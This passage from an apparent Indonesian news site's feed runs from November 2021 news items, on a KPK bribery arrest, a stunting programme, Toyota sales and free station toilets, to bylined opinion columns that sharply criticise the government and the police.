tersebut. Selain itu, Dodi juga telah menentukan adanya persentase pemberian "fee" dari setiap nilai proyek paket pekerjaan di Kabupaten Musi Banyuasin, yaitu 10 persen untuk Dodi, 3-5 persen untuk Herman, dan 2-3 persen untuk Eddi serta pihak terkait lainnya. Untuk Tahun Anggaran 2021 pada Bidang Sumber Daya Air Dinas PUPR Kabupaten Musi Banyuasin, perusahaan milik Suhandy menjadi pemenang dari empat paket proyek. Total komitmen "fee" yang akan diterima oleh Dodi dari Suhandy dari empat proyek tersebut sekitar Rp2,6 miliar. Sebagai realiasi pemberian komitmen "fee" oleh Suhandy atas dimenangkannya empat proyek paket pekerjaan di Dinas PUPR tersebut, diduga Suhandy telah menyerahkan sebagian uang tersebut kepada Dodi melalui Herman dan Eddi. Dalam kegiatan tangkap tangan di Kabupaten Musi Banyuasin, KPK turut mengamankan uang Rp270 juta. Uang itu diduga telah disiapkan oleh Suhandy yang nantinya akan diberikan pada Dodi melalui Herman dan Eddi. Selain itu di Jakarta, KPK juga mengamankan uang Rp1,5 miliar dari ajudan Dodi Reza. KPK bakal menelusuri lebih lanjut asal uang tersebut. (sws)

Pemerintah Kota Depok Luncurkan Program Bebas Kerdil

Depok, FNN - Pemerintah Kota (Pemkot) Depok Jawa Barat meluncurkan program "Depok Sukses Bebas Stunting Mewujudkan Kota Ramah Anak" (D'Sunting Menara) guna menciptakan generasi penerus bangsa yang cerdas di masa depan. "Kami meminta kepada seluruh Satuan Kerja Perangkat Daerah (SKPD) dan stakeholder (pemangku kepentingan) yang terlibat dalam program D'Sunting Menara untuk berkomitmen menjalankan program tersebut," kata Wali Kota Depok, Mohammad Idris dalam keterangannya, di Depok, Selasa, 23 November 2021. Idris menjelaskan, D'Sunting Menara juga salah satu bagian dari upaya Pemerintah Kota Depok mendukung zero new stunting sesuai Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Provinsi Jawa Barat tahun 2023. "Penanganan ada pada masalah gizi di posyandu, pengetahuan orang tua terkait cara pengasuhan harus diperhatikan, sehingga tidak terjadi stunting (kerdil)," ucapnya sebagaimana dikutip dari Antara. Menurut dia generasi penerus bangsa harus cerdas dalam segala aspek fisik, otak, mental, dan spiritual. Tentu hal itu bagian dari usaha semua pihak mewujudkan anak Depok melalui pencegahan dan penanganan "stunting" berbasis kemandirian keluarga. Mohammad Idris mengatakan, meski terjadi penurunan kasus namun terdapat wilayah yang mengalami kenaikan angka stunting. Oleh sebab itu, ia menginstruksikan kecamatan dan kelurahan melakukan validasi data tersebut. "Permasalahan stunting dapat terjadi di kota-kota urban seperti Depok. Saya minta segera divalidasi datanya sesuai by name by address dan Nomor Induk Kependudukan (NIK)," katanya. Berdasarkan data Dinas Kesehatan Kota Depok Agustus tahun 2020 ada 5.718 dari 107.710 balita atau 5,3 persen anak mengalami stunting. Jumlah tersebut mengalami penurunan pada Februari 2021 menjadi 4,7 persen atau ada 4.923 dari 102.815 balita stunting. (MD).

Wapres Harap Santri Berdayakan Ekonomi Berbasis Pesantren

Jakarta, FNN - Wakil Presiden, Ma’ruf Amin berharap para santri yang berwirausaha atau dikenal dengan istilah “Santripreneur” dapat memberdayakan perekonomian masyarakat berbasis pesantren. "Saya berharap Santripreneur Indonesia menjadi lembaga pemberdaya ekonomi berbasis pesantren yang amanah, serta mampu istikamah dalam mewadahi dan membina para santri," kata Wapres dalam keterangan yang diterima di Jakarta, Selasa, 23 November 2021. Wapres menginginkan lebih banyak santri yang terjun ke dunia wirausaha. Dengan demikian, program Santripreneur Indonesia semakin kuat dan mendukung pemulihan ekonomi nasional. "Kami ingin membentuk lebih banyak santripreneur tangguh dan unggul, serta senantiasa menjunjung nilai-nilai kepesantrenan dalam menjalankan dedikasinya kepada bangsa," ucapnya sebagaimana dikutip dari Antara. Hal itu disampaikan Wapres saat memberikan ucapan selamat melalui rekaman video kepada para santri yang menerima penghargaan Santripreneur Award 2021, Senin (22/11) malam. Wapres juga menyampaikan selamat kepada para santri yang berhasil meraih prestasi dan berharap penghargaan tersebut menjadi motivasi bagi santri lain untuk berkontribusi membangun negeri. "Saya ucapkan selamat atas prestasi yang diraih. Jadikan prestasi tersebut sebagai motivasi supaya terus tumbuh di tengah berbagai tantangan, serta tetap berkontribusi membangun ekonomi negeri," kata Wapres. Menteri Pariwisata dan Ekonomi Kreatif Sandiaga Uno, yang mengikuti acara tersebut secara daring, juga mengapresiasi semangat para santri turut berperan dalam membangkitkan ekonomi negeri. "Semoga ini bisa membangkitkan ekonomi kita. Memotivasi semangat para santri supaya terus meningkatkan kapasitas dan keterampilan di berbagai bidang terutama kreativitas dan inovasi serta kewirausahaan," ujar Sandi. (MD).

Selama Pameran GIIAS Toyota Catat Total SPK 4.502 Unit

Jakarta, FNN - PT Toyota-Astara Motor mencatat total SPK 4.502 unit selama periode GIIAS 2021. Dua mobil keluaran terbaru All New Avanza dan All New Veloz berhasil memberikan kontribusi terbesar. Dari total SPK yang diperoleh, All New Veloz dan All New Avanza memberikan kontribusi masing-masing 823 unit dan 711 unit, atau sebesar 34 persen dari total seluruh model Toyota. Tidak hanya itu, All New Veloz juga dikabarkan berhasil memenangkan penghargaan sebagai "Mobil Penumpang Terfavorit". "Kami bersyukur atas respons positif terhadap kehadiran All New Veloz dan All New Avanza. Respons yang sangat baik itu juga tidak lepas dari dukungan pemerintah dalam meningkatkan daya beli masyarakat sebagai salah satu upaya pemulihan ekonomi di berbagai sektor, termasuk industri otomotif," kata Vice President Director PT Toyota-Astra Motor Henry Tanoto dalam pernyataannya, di Jakarta, Senin, 23 November 2021. Dari 4.502 perolehan SPK (surat perintah kerja) Toyota yang tercatat sejak, model-model selain All New Veloz dan All New Avanza juga meraih SPK tertinggi. Model-model dari Toyota lainnya yang juga menjadi 5 besar adalah Raize dengan 651 unit, Innova dengan 633 unit, dan Fortuner dengan 529 unit. Pameran otomotif terbesar di Indonesia digelar di Convention Exhibition (ICE), Bumi Serpong Damai (BSD), Kota Tangerang Selatan, Banten, mulai 11 sampai 21 November 2021 yang lalu. Pameran diselenggarakan oleh Gabungan Industri Kendaraan Bermotor Indonesia (Gaikindo), dengan nama GIIAS (Gaikindo Indonesia International Auto Show). "Terima kasih atas kepercayaan yang diberikan masyarakat sehingga tetap memilih Toyota sebagai pendukung mobilitas. Toyota senantiasa berupaya menghadirkan ever-better cars sebagai bagian dari Mobility Happiness for All," ujar President Director PT Toyota-Astra Motor Susumu Matsuda. "Kami berharap kehadiran Toyota pada GIIAS 2021 ini dapat memberikan kontribusi positif dalam upaya memperkenalkan dan mensosialisasikan teknologi terkini kepada masyarakat dalam mendukung penuh kebutuhan mobilitas di masa depan, termasuk perkembangan industri otomotif," katanya. (MD).

Pasukan Israel Menyerang Gubernur Palestina dan Keluarga

Ramallah, FNN - Pasukan Israel semakin brutal. Senin, 22 November 2021, pasukan negara zionis tersebut menyerang Gubernur Palestina, Adnan Ghaith beserta keluarganya, di Yerussalem. Presiden Palestinan, Mahmoud Abbas mengutuk serangan brutal tersebut. Unit khusus pasukan Israel menyerbu rumah gubernur Palestina Adnan Ghaith di kampung Silwan, Yerusalem. Pasukan Israel melemparkan bom suara ke dalam rumah dan menyerang Adnan Ghaith serta melukai beberapa anggota keluarga. Dikutip dari Antara, Selasa, 22 November 2021, selain menghancurkan isi rumah, pasukan Israel juga menahan tiga kerabat Adnan Ghaith. Melalui sambungan telepon, Presiden Abbas berbicara dengan Adnan Ghaith, yang juga adalah anggota Dewan Revolusi Fatah. Ia berharap Adnan Ghaith lekas pulih. Presiden Abbas mengapresiasi peran Ghaith dalam melayani rakyat Palestina di Yerusalem. Dia memuji ketabahan penduduk Muslim dan Kristen di kota Yerusalem dalam menghadapi tindakan otoritas pendudukan Israel. Ghaith mengatakan, serangan terencana terhadap rumah dan keluarganya menunjukkan situasi warga Palestina di Yerusalem yang mengalami kekerasan fisik dari pasukan Israel setiap hari. Selain itu, warga Palestina di Yerusalem mengalami aksi tidak manusiawi lainnya dari Israel. Misalnya, pemindahan paksa, penghancuran rumah, pengenaan pajak, maupun pembatasan aktivitas ekonomi. (MD).

Waduh! Menteri BUMN Erick Thohir Harus Mengurus WC

Jakarta, FNN - Waduh! Urusan toilet atau WC (water closet) umum saja harus ditangani setingkat menteri. Buktinya, Menteri Badan Usaha Milik Negara (BUMN), Erick Thohir meminta direksi Pertamina agar seluruh toilet di semua Stasiun Pengisian Bahan Bakar Umum (SPBU) Pertamina yang dikelola langsung maupun dikerjasamakan dengan swasta bersifat gratis atau tidak dipungut biaya. "Kepada direksi Pertamina, saya mengharapkan fasilitas umum seperti ini harusnya gratis, karena kan sudah dapat (keuntungan) dari penjualan bensin, selain itu ada juga toko kelontongnya. Jadi masyarakat mestinya mendapatkan fasilitas tambahan," ujar Erick Thohir seperti dikutip dari akun Instagram resminya @erickthohir di Jakarta, Selasa, 23 November 2021. Erick mengaku heran ketika mendapati adanya kisaran biaya Rp 2.000 sampai dengan Rp 4.000 bagi masyarakat umum yang menggunakan toilet umum SPBU Pertamina yang berlokasi di Kecamatan Malasan, Probolinggo, Jawa Timur. Erick pun akan menindaklanjuti pungutan biaya di toilet umum SPBU itu. Ia menghubungi pemilik SPBU tersebut yang bernama Agus, setelah menggunakan toilet berbayar di SPBU Pertamina itu. "Ya sudah nanti ditelefon. Kenapa toilet saja mesti bayar, padahal sudah bisnis bensin," katanya sebagaimana dikutip dari Antara. Erick segera menginstruksikan kepada direksi Pertamina (Persatuan Perusahaan Pertambangan Minyak dan Gas Bumi Nasional) agar memperbaiki persoalan toilet berbayar tersebut. Hal itu mengingat toilet SPBU yang berada di bawah Pertamina seharusnya gratis. "Saya minta direksi Pertamina harus perbaiki. Dan saya minta nanti seluruh kerja sama dengan pom bensin (SPBU) swasta yang di bawah Pertamina toiletnya tidak boleh bayar, harus gratis," ujar Erick Thohir. "Ini pesan saya kepada rekan-rekan di Pertamina, dari toilet umum SPBU Pertamina, Kecamatan Malasan, Probolinggo. Sudah kewajiban BUMN memberikan pelayanan yang terbaik bagi masyarakat," katanya. (MD).

Hadapi Perubahan Iklim, Partai Gelora Bakal Tanam 10 Juta Pohon Secara Serentak di 34 Provinsi

Jakarta, FNN - Partai Gelombang Rakyat (Gelora) Indonesia akan melakukan penanaman 10 juta pohon secara serentak di 34 provinsi dalam rangka Hari Menanam Pohon Indonesia pada 28 November 2021 mendatang dengan hastag #BirukanBumiBirukanLangit, #PohonKitaOksigenKita, #PohonKitaHidupKita, #AyoTanamPohon, #GeloraTanam10JutaPohon Penanaman pohon tersebut akan difokuskan di tiga titik lokasi, yakni di Kampung Cikoneng, Sub Das Citarik, Cibiru, Cileunyi, Bandung (hulu Das Citarum); Waduk Jatiluhur, Purwakarta dan Muara Gembong (hilir/muara Das Citarum), Bekasi, Jawa Barat (Jabar) "Partai Gelora Indonesia mengajak selamatkan bumi, birukan langit dengan menanam pohon melalui program Gelora Tanam 10 Juta Pohon yang akan diselenggarakan secara serentak di 34 propinsi dan berkesinambungan setiap tahun," kata Anis Matta, Ketua Umum Partai Gelora dalam keterangannya, Selasa (23/11/2021). Dalam aksi Gelora Tanam 10 juta Pohon ini, Anis Matta akan didampingi Wakil Ketua Umum Fahri Hamzah, Sekretaris Jenderal Mahfuz Sidik, Bendahara Umum Achmad Rilyadi, para fungsionaris DPN dan Ketua DPW Partai Gelora Jabar Haris Yuliana. Anis Matta akan melakukan penanaman pohon di Sub Das Citarik, Cibiru, sementara penanaman pohon di Waduk Jatiluhur dan Muara Gembong akan dipimpin DPD Purwakarta dan Bekasi. Penanaman 10 juta pohon di tiga lokasi ini akan disiarkan live streaming ke 34 provinsi. Pada saat yang sama 34 DPW Partai Gelora juga akan melakukan penanaman pohon serupa sebagai bentuk kepedulian terhadap lingkungan. Menurut Anis Matta, program menanam 10 juta pohon ini adalah kontribusi kecil Partai Gelora dalam membirukan planet kita. Partai Gelora juga akan meminta setiap kadernya menanam minimal 25 pohon seumur hidupnya. "Bencana alam yang ditimbulkan oleh perubahan iklim saat ini, telah mengubah planet kita ini, menjadi planet yang sangat tidak nyaman dihuni," katanya. Apabila situasi seperti yang sekarang ini, dibiarkan dan terus berlangsung, maka Indonesia akan menghadapi ancaman keamanan nasional yang jauh lebih besar daripada ancaman perang. "Yang sesungguhnya kita hadapi adalah ancaman kepunahan kita sebagai penghuni bumi," katanya. Karena itu, kesepakatan yang telah ditandatangani oleh masyarakat dunia melalui Paris Agreement pada 2015 dan ditandatangani oleh pemerintah Indonesia setahun kemudian, serta kesepakatan baru yang dihasilkan dalam Conference of the Parties (COP)-26 di Glasgow pada 31 Oktober hingga 12 November 2021 lalu, adalah langkah bersama masyarakat dunia yang harus didukung. Sebab, kesepakatan yang tertuang dalam Paris Agreement dan COP-26 adalah pendekatan yang sangat komprehensif dan harus diikuti secara disiplin. "Kita sebagai bangsa dan negara dan juga seluruh masyarakat dunia dan dalam konteks itu, kami di Partai Gelora ingin ikut berpartisipasi memberikan kontribusi kecil menanam 10 juta pohon," katanya. Selain meminta setiap kader Partai Gelora menanam 25 pohon, ia juga mengajak masyarakat yang akan mendaftar sebagai anggota Partai Gelora untuk menanam 25 pohon sebagai bentuk komitmen untuk membirukan planet ini. "Semangat membirukan planet ini adalah semangat partisipasi dalam kesepakatan global warga dunia untuk ikut bersama-sama menyelamatkan planet kita, membirukan planet kita, membuat planet kita nyaman dihuni kembali," ujarnya. Anis Matta menilai tidak akan ada artinya jika semua kemajuan yang dicapai dalam bidang ekonomi, teknologi dan kemakmuran pada akhirnya hilang seketika dan lenyap, karena faktor bencana alam. Program menanam 10 juta pohon, lanjutnya, meski merupakan program partisipasi dari Partai Gelora, namun Anis Matta mengajak seluruh masyarakat Indonesia untuk melakukan langkah-langkah bersama membirukan kembali planet kita. "Ayo ikut berpartisipasi dalam program penanaman 10 juta pohon. Karena pohon kita, adalah oksigen kita, pohon kita adalah hidup kita. Tentu saja Ini, bukan satu-satunya jawaban, tetapi ini yang sekarang bisa kita lakukan untuk sementara sebagai sebuah partai," tegasnya. Ketua DPW Partai Gelora Jabar Haris Yuliana menambahkan, pelaksanaan Gelora Tanam 10 juta pohon ini bekerjasama dengan katan Penyuluh Kehutanan, dan 20 LSM dan ormas. "Khusus di Muara Gembong, karena muaranya laut kita akan tanam mangrove (pohon bakau). Penanaman 10 juta pohon ini akan disertai ada dan istiadat budaya Sunda," kata Haris Yuliana. Ketua Umum Partai Gelora Anis Matta, lanjut Haris Yuliana, akan menyerahkan bibit tanaman kepada masyarakat sekitar Sub Das Citarik, Cibiru. Bibit tanaman yang akan diserahkan sesuai dengan permintaan masyarakat. Dalam kegiatan Gelora Tanam 10 Juta Pohon ini, juga digelar lomba foto untuk peserta DPW se-Indonesia dan pewarta foto. "Peserta bisa mengirimkan kegiatan menanam pohonnya di wilayah-wilayah masing, lalu di foto dan dilombakan," pungkasnya. (sws)

Kekuasaan Kian Sekarat

Oleh: Yusuf Blegur Saat kekuasaan semakin represif dan bertindak sewenang-wenang terhadap rakyatnya, sejatinya kekuasaan tidak sedang menunjukkan kekuatannya. Justru sebaliknya, bukan cuma sekadar kelemahan. Kekuasaan itu malah terlihat sedang limbung dan mengalami sakit yang serius. Sebenarnya tak berdaya tapi memaksakan menjadi dzolim. Serba permisif dan terkesan melakukan pembiaran terhadap korupsi dan extra ordinary crime lainnya. Kejahatan-kejahatan institusional dilakukan secara kolektif kolegial yang dilakukan dengan masif, sistematik dan terorganisir dalam penyelenggaraan negara. Sementara di sisi lain begitu tegas, keras dan terkesan bengis dalam menyikapi suara kritis. Rezim yang di dalamnya digerogoti oleh disfungsi dan kerusakan baik dari sistem maupun aparaturnya, berangsur-angsur dan perlahan, sedang menuju kematiannya. Ia hanya menunggu waktu untuk terhempas dari kekuasaannya. Baik secara konstitusional maupun oleh tuntutan gerakan rakyat di luar mekanisme formal. Jatuhnya kekuasan dengan proses 'soft landing' atau harus menempuh terjadinya 'bleeding', bisa saja mengiringi transisi kekuasaan yang akan berlangsung. Rezim dan kroninya akan dipaksa dan terpaksa mundur secara terhormat atau dengan cara dinistakan. Kekuasaan yang dijalankan oleh rezim yang hanya memiliki legalitas tanpa legitimasi, menandakan bahwa rezim sudah tidak lagi memiliki kepercayaan dari rakyat. Apalagi jika sudah muncul sikap skeptis dan apriori dari publik. Bahkan diolok-olok dan dipermalukan oleh rakyatnya sendiri. Desakan dan tuntutan mundur kepada seorang presiden, pada substansinya telah menegaskan sosok dan jabatan yang melekat padanya, sudah tidak berfungsi dan berlaku lagi. Keputusan dan kebijakan sebagai seorang pemimpin tak akan lagi akan didengar, didukung dan dilaksanakan rakyat. Hanya butuh administrasi dan kaidah hukum untuk melengkapi sekaligus mengesahkan seorang presiden harus meletakkan jabatannya. Bukan hanya kegagalan-kegagalan program pembangunan dan runyamnya kebijakan strategis lainnya. Rezim oligarki sekaligus boneka konspirasi global ini, dinilai telah membawa kehidupan rakyat, bangsa dan negara pada kemunduran. Apa yang dihasilkan pemerintahan selama ini justru menimbulkan kerusakan dan kehancuran dalam pelbagai sektor kehidupan. Setidaknya ada tiga aspek penting dan fundamental yang selama ini dinyatakan oleh banyak pihak, telah hilang dalam tata kelola negara. Pertama, terkait kedaulatan dalam bidang politik. Kedua, soal kemandirian ekonomi. Ketiga, kegagalan melahirkan kebudayaan yang berkepribadian bangsa. Semua prinsip dan nilai-nilai kebangsaan itu sudah terlepas, dimiliki dan dikuasai asing. Rakyat dan negeri ini sudah kadung dieksploitasi. Dirampok hartanya dan diberangus hak asasinya. Negara kekuasaan dengan sadar atau tanpa sadar, harus menggerus dan memakan tubuhnya sendiri. Pada akhirnya harus mengorbankan rakyat dengan pelbagai kesengsaraan dan penderitaan hidup. Alam pun ikut bereaksi memperlihatkan murkanya. Dari banjir Sintang Kalbar hingga Mandalika yang pongah dan memalukan di Lombok. Seakan muncul sebagai penolakan proyek lumbung pangan yang serampangan dan lintasan sirkuit yang ceroboh mengabaikan kelestarian alam dan memanipulasi hak rakyat atas tanah. Rakyat hanya punya simbol-simbol dan lambang negara tanpa keberadaan Panca Sila, UUD 1945 dan NKRI yang sesungguhnya. Rakyat seperti berada di negeri merdeka yang terjajah. Direndahkan martabat dan harga dirinya oleh bangsa asing, sembari dikhianati oleh sebagian bangsanya sendiri. Hidup sebagai budak dan didera penderitaan panjang di negeri yang terbilang penuh anugerah. Kehilangan faktor-faktor mendasar dan prinsip dalam membangun negara tersebut. Pada hakekatnya sama dengan keadaan negara dengan raga saja tanpa kehadiran jiwa. Hanya lahiriah tanpa batiniah. Negara dengan adat kekuasan, seperti zombie yang memangsa siapa saja dan mencari korban yang paling lemah. Kenyataannya akan menampilkan ketiadaan aturan, hukum rimba dan kebiadaban di sana-sini. Jika tidak ada lagi yang bisa dikorbankan. Gerombolan penguasa itu saling memangsa dan berusaha mempertahankan diri dan meneruskan kesinambungan kehidupannya masing-masing. Sampai tidak ada lagi yang bisa dimangsa, tidak lagi yang bisa dikanibal sesamanya. Monster kekuasaan itu pada akhirnya mengalami sekarat. Menghadapi kematian karena pertarungan di kalangannya sendiri. Dengan realitas dan fakta tak terbantahkan bahwasanya NKRI dalam keadaan gawat. Kebhinnekaan dan kemajemukan bangsa saban hari makin tersekat. Degradasi sosial dan disintegrasi nasional terus menguat. Kebijakan dan perilaku aparat cenderung menampilkan banyak maksiat. Diperburuk dengan kepemimpinan yang sarat mudharat. Akankah negara ini pulih dan kembali menjadi sehat ?. Atau mungkin juga solusi terbaik dari kekuasaan yang kian sekarat. Tidak ada kata dan pilihan lain lagi, selain harus segera tamat. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Kartu Domino

Oleh Sugeng Waras Petir menggelegar di Cilacap, hujan besar di Sumatra Barat, banjir di Sintang Kalimantan Barat, air menggenang di Mandalika NTB, mayat bergelimpangan di Jakarta. Inilah fenomena yang berangkai dan tak kunjung selesai di negeri kita yang serba ironis dan penuh paradok ini. Bagaimana tidak, kebakaran kilang minyak di Cilacap beberapa waktu lalu, cukup diam dengan alasan tersambar petir oleh mulut Ahok meskipun faktanya tangki dalam keadaan berlubang yang sangat mungkin sebagai akibat sabotase. Di sini aparat kepolisian mengalami jalan buntu tak ada cuit bantahan. Curah hujan tertinggi di dunia seperti yang dialami di Sumatra Barat tentu berakibat mengganggu aktivitas, banjir besar di Sintang Kalimantan Barat yang hampir sebulan tak kunjung surut membuat ribuan penduduk menderita, disusul menggenangnya air di area Sirkuit Mandalika hingga nyambung ke Muara Lombok Tengah NTB. Ini berdampak penilaian jorok terhadap sang promotor. Belum lagi kejadian tragis tewasnya enam laskar FPI pengawal HRS di KM 50 jalan tol Jakarta Cikampek yang hingga kini masih penuh teka teki dan menunjukkan sisi gelap, terkesan rapuh dan bobroknya penegakan hukum dinegeri ini. Tersia-sianya nasib HRS sang tokoh ulama besar di ruang pesakitan dengan sangkaan kebohongan kondisi kesehatan yang sama sekali tidak mengakibatkan keonaran dan kegaduhan, yang tak layak dipenjara dan seharusnya bebas tanpa syarat. Begitu ironis dengan tarik ulurnya keputusan hakim yang memvonis hukuman penjara kisaran 4 menjadi 2 tahun penjara, apalagi jika menengok dengan mudahnya keputusan terhadap koruptor Jaksa Pingkan yang juga polisi dari 10 menjadi 4 tahun. Dugaan perbuatan salah dari seorang anggota MUI berimbas akan dibubarkanya MUI sebagai badan kordinator urusan umat Islam, di sisi lain segubrak pelanggaran anggota polisi tak terkecuali anggota Brimob cukup kena sanksi mutasi. Lagi-lagi si otak dungu seperti Ateria Dahlan bilang para penegak hukum seperti anggota kepolisian, hakim dan jaksa tidak bisa kena OTT. Ini semua gambaran secuil peristiwa janggal, yang membuat citra penegak hukum semakin ndelosor, akankan terus berlanjut? Apapun alasanya, era kabinet kerja dan maju yang dipimpin Presiden Jokowi seharusnya lempar handuk, karena negara hanya berisi keributan, kegaduhan dan kekacauan yang tak tampak maju bahkan stagnan. Perselingkuhan demi perselingkuhan, kebohongan demi kebohongan dan pembodohan demi pembodohan terus dijadikan jurus jitu dalam memaksakan kehendaknya. Negara bak tidak ada pimpinan, seolah tak ada arah, maksud dan tujuanya. Pemanjaan terhadap TKA Cina dan penggebukan terhadap bangsa sendiri semakin fulgar dipertontonkan tanpa malu. Dari hari ke hari selalu disuguhi unjuk rasa, tuntutan dan desakan terkait hak rakyat, dengan kata lain Presiden tidak mampu menjalankan dan mengendalikan roda pemerintahan. Akankah hal seperti ini terus menerus akan kita alami dan deritai ? Tampaknya hanya ada dua jawaban, presiden harus mundur secara terhormat atau dilengserkan sebelum habis masa jabatannya, agar habis gelap, terbitlah terang. Akankah rencana gelar Gerakan Moral reuni 212 pada tanggal 1 dan 2 Desember nanti juga akan mendapatkan hambatan bahkan larangan? Wait and see...! Yang jelas kita harus berani percaya kepada pihak lain apalagi jika menyangkut masalah agama, silaturahmi, kangen-kangenan sebagai ujud keakraban persaudaraan yang.memang sebagai prasarat persatuan dan kesatuan bangsa Indonesia. Tentunya akan menjadi geli, jika kegiatan ini didahului dengan mengedepankan pikiran negatif, suudzon, prasangka buruk yang dilatarbelakangi sentimen, antipati, dengan memanfaatkan kekuasaan, kewenangan dan kekuatan. *) Purnawirawan TNI AD

Mengimajinasikan Kembali Pendidikan Kedokteran Indonesia

Oleh Ganis Irawan, Sp.PD *) PERKEMBANGAN teknologi informasi membuat ilmu pengetahuan berkembang dengan lebih cepat dalam dua dekade terakhir. Kecepatan perubahan dalam ilmu pengetahuan merupakan dampak langsung dari semakin mudahnya komunikasi dan pertukaran data antar individu dari berbagai belahan dunia. Dalam bidang Kedokteran kita bisa menyaksikan fenomena ini selama masa penanganan Pandemi Covid-19 ; pengetahuan kita tentang penyakit baru ini berkembang dalam hitungan minggu atau bulan, bukan lagi tahunan seperti ketika kita menghadapi new emerging disease sebelum tahun 2000. Perkembangan teknologi informasi juga mendorong munculnya suatu kerangka normatif baru relasi antar- manusia. Salah satu norma baru yang cukup jelas terlihat adalah “kesesuaian dengan kerangka kerja atau protokol yang paling banyak digunakan secara global”. Sebuah norma standar yang berkaitan erat dengan tren crowdsourcing dan kokreasi ilmu pengetahuan dan teknologi. Sebagaimana kita saksikan dalam 2 tahun terakhir, Pandemi Covid-19 ikut memperkuat pembentukan norma ini. Tanpa penyesuaian terhadap kerangka kerja umum yang digunakan banyak negara, Indonesia bukan saja akan mengalami kesulitan dalam pengadaan vaksin dan obat-obatan tapi juga akan kesulitan mendorong – misalnya- perbaikan moda terapi yang lebih sesuai dengan karakteristik respon klinis warga negara Indonesia. Kedua hal tersebut di atas menyadarkan kita bahwa dunia Kedokteran Indonesia perlu untuk bisa segera melakukan penyesuaian kerangka pikir dan kerangka kerja agar bisa beradaptasi dengan perubahan yang akan semakin cepat dan agar dapat terlibat dalam konektivitas global tanpa kehilangan identitas nasionalnya. Perubahan fundamental semacam ini membutuhkan perubahan sejak proses awal yang menghasilkan para dokter Indonesia : Pendidikan Kedokteran Indonesia. Undang-Undang No. 20 Tahun 2013 (UU Dikdok) merupakan pilar penyangga utama bangunan Pendidikan Kedokteran Indonesia saat ini. Sayangnya UU Dikdok 2013 tampak tidak akan mampu mengakomodir dua kebutuhan yang disebutkan di atas. Dua hal utama yang – kalau boleh disebut – menjadi penghambat adalah : pertama, kerangka pikir UU Dikdok 2013 terlihat di dominasi pendekatan hirarki dan kedua, mengabaikan kerangka kerja yang dianut oleh semua negara lain. Pendekatan hirarki lazim dianggap sebagai penghambat kemampuan adaptasi sebuah organisasi. Kerangka pikir hirarkis UU Dikdok 2013 menyulitkan adaptasi terhadap perubahan yang saat ini cenderung terjadi secara modular (dan cepat). Perubahan modular memungkinkan terjadi perbaikan fungsi keseluruhan hanya dengan merubah salah satu bagian saja dari sebuah “bangunan” utuh. Kerangka hirarkis UU Dikdok 2013 tidak memungkinkan hal semacam ini terjadi. Sebagai contoh, sistem pendidikan kedokteran Indonesia kesulitan menerapkan pendidikan keterampilan dan etik tentang Telekonsultasi dan Telemedicine kepada para mahasiswanya, padahal teknologi telekonsultasi dan telemedicine berkembang pesat dalam 10 tahun terakhir. Hal semacam ini membuat dunia kedokteran Indonesia seperti berlari mengejar kereta api cepat yang melaju 200km/jam. Ketidaksesuaian UU Dikdok 2013 dengan kerangka kerja global tampak pada bagaimana undang-undang ini menerapkan ujian nasional untuk menseleksi kelulusan dokter. Padahal di semua negara lain tidak ada yang menerapkan ujian nasional untuk meluluskan dokter. Secara praktis hal ini akan memunculkan masalah dalam hal pengakuan internasional terhadap kualitas lulusan dokter Indonesia dan juga masalah dalam mengakomodir masuknya WNI yang menjalani pendidikan dokter di luar negeri. Ujian nasional juga tidak sesuai dengan karakter berpikir global hari ini yang cenderung desentralistik dan menghargai lokalitas. Keragaman geografis dan budaya di Indonesia rasanya lebih tepat untuk didekati secara desentralistik, sehingga lulusan kedokteran di suatu provinsi bisa lebih kompatibel terhadap permasalahan kesehatan utama di provinsi tersebut. *) Penulis adalah Kabid Kerjasama Lembaga Negara PB IDI dan Sekjend Perhimpunan Kedokteran Digital Terintegrasi Indonesia (Predigti). Disampaikan dalam FGD dengan Wakil Ketua MPR RI, 17 November 2021, Gedung MPR RI.

Kompolnas Teliti Kasus Penyalahgunaan Senjata Api Anggota Polri

Jakarta, FNN - Komisi Kepolisian Nasional (Kompolnas) meneliti tentang kasus penyalahgunaan senjata api oleh anggota Polri di 34 polda dan hasilnya ditemukan peningkatan kasus penyalahgunaan. Berdasarkan hasil penelitian Tim Kompolnas terhadap 34 polda dan 10 polda yang dilakukan pendalaman (Riau, Kepri, Metro Jaya, Sulteng, Jogya, Jateng, Jambi, Lampung, Kalbar, Sumut) terdapat perubahan data, di mana diketahui kasus penyalahgunaan senjata api tahun 2010 sampai dengan 2021 mengalami peningkatan, yaitu terdapat 784 kasus. "Kompolnas melakukan penelitian tentang penyalahgunaan senjata api oleh anggota Polri karena Kompolnas mengamati bahwa pelanggarannya cukup serius," kata Ketua Harian Kompolnas Irjen Pol (Purn) Benny Mamoto, saat dikonfirmasi di Jakarta via pesan instans "whatsapp", Senin. Dari hasil penelitian tersebut yang paling banyak terjadi adalah senjata api hilang, yaitu sebanyak 18,49 persen. Hasil penelitian tersebut dibahas dalam diskusi grup terarah (FGD) yang digelar oleh Kompolnas pada Kamis (18/11). Menurut Benny, latar belakang dilakukannya penelitian ini adalah banyaknya kasus pelanggaran penyalahgunaan senjata api memerlukan penanganan segera karena berdampak serius. Dalam diskusi tersebut, dibahas sejumlah titik kritis yang ditemukan oleh Kompolnas, mencakup sejumlah fungsi, yakni pelatihan dan peningkatan kapasitas, termasuk pemantapan SOP terkait tata laksana, pengawasan, serta peningkatan konseling dan psikologi. "Sesuai dengan Program Polri Presisi di bidang pengawasan eksternal disebutkan bahwa Polri bekerja sama dengan pengawas eksternal untuk mengkaji suatu masalah dalam rangka mencari akar masalahnya dan membuat rekomendasi," kata Benny. Diskusi tersebut dihadiri sejumlah pembahas, yakni Prof Mohamad Mustofa (Kriminolog UI), Prof Dr Gayus Lumbuun SH (Pakar hukum), dan Dr (C) Natanael Sumampouw (Psikolog Forensik) yang hadir secara daring dari Belanda. "Kompolnas sudah mengumpulkan data pelanggaran senjata api seluruh polda dan melakukan pendalaman di 10 polda dengan mewawancarai para anggota yang melanggar," kata Benny. Beberapa pelanggaran serius penyalagunaan senjata api oleh anggota Polri yang ditemukan oleh Tim Kompolnas, di antaranya menyangkut cara menyimpan, membawa dan menggunakan senjata api yang tidak sesuai ketentuan. "Dalam diskiusi ini, kami membahas bagaimana tingkat pemahaman dan penerapannya tentang cara menyimpan, membawa dan menggunakan senjata api dengan aman dan benar sesuai Perkap (peraturan kapolri-red)," ujar Benny. Benny mengatakan pada diskusi tersebut dihadiri pula Dankor Brimob Irjen Pol Anang Revandoko bersama pejabat utama 